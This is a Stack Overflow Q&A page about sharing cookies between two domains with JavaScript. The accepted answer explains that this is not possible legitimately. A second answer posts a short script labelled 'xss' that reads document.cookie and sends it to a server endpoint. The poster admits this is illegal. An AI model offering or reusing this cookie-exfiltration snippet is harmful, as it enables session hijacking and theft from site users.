How do I share cookies across 2 domains with javascript?

Question

I want to be able to access and set cookies between example.com and mysite.com. How do I do that?

You cannot do that directly. What are you trying to accomplish? Also search here and the Internet for "cross domain cookies" for workarounds. — Matthew, Aug 30 '10 at 17:17
possible duplicate: http://stackoverflow.com/questions/263010/whats-your-favorite-cross-domain-cookie-sharing-approach — Alec Smart, Aug 30 '10 at 17:18
another possible duplicate: https://stackoverflow.com/questions/3342140/cross-domain-cookies — Anderson Green, Feb 24 '22 at 21:38

score 2 · Accepted Answer · edited May 23 '17 at 11:50

2

You cannot do that with cookies alone: they are set explicitly per-domain, and there isn't a legitimate (read: "non-exploit") way to set them for another domain.

However, if you control both servers, it may be possible to use some workarounds/hacks to achieve this, but pretty it isn't, and it may break unexpectedly (see this question; the answers there should help you to a solution).

edited May 23 '17 at 11:50

Community

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answered Aug 30 '10 at 17:29

Piskvor left the building

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score 0 · Answer 2 · edited May 29 '13 at 19:56

0

<script>
  function xss(){
    var cookies = document.cookie;
    new Ajax.Request('//localhost/index.php?cookies='+cookies, {
      onSuccess: function(response) {
        alert(cookies);
      }
    });
  }
  xss();
</script>

PS but it's illegal. I use prototype lib.

edited May 29 '13 at 19:56

Brant Olsen

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answered May 29 '13 at 19:31

user2433839

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Please expand on the `it's illegal` and why you use prototype lib to improve your answer. – Brant Olsen May 29 '13 at 19:53

How do I share cookies across 2 domains with javascript?

2 Answers2

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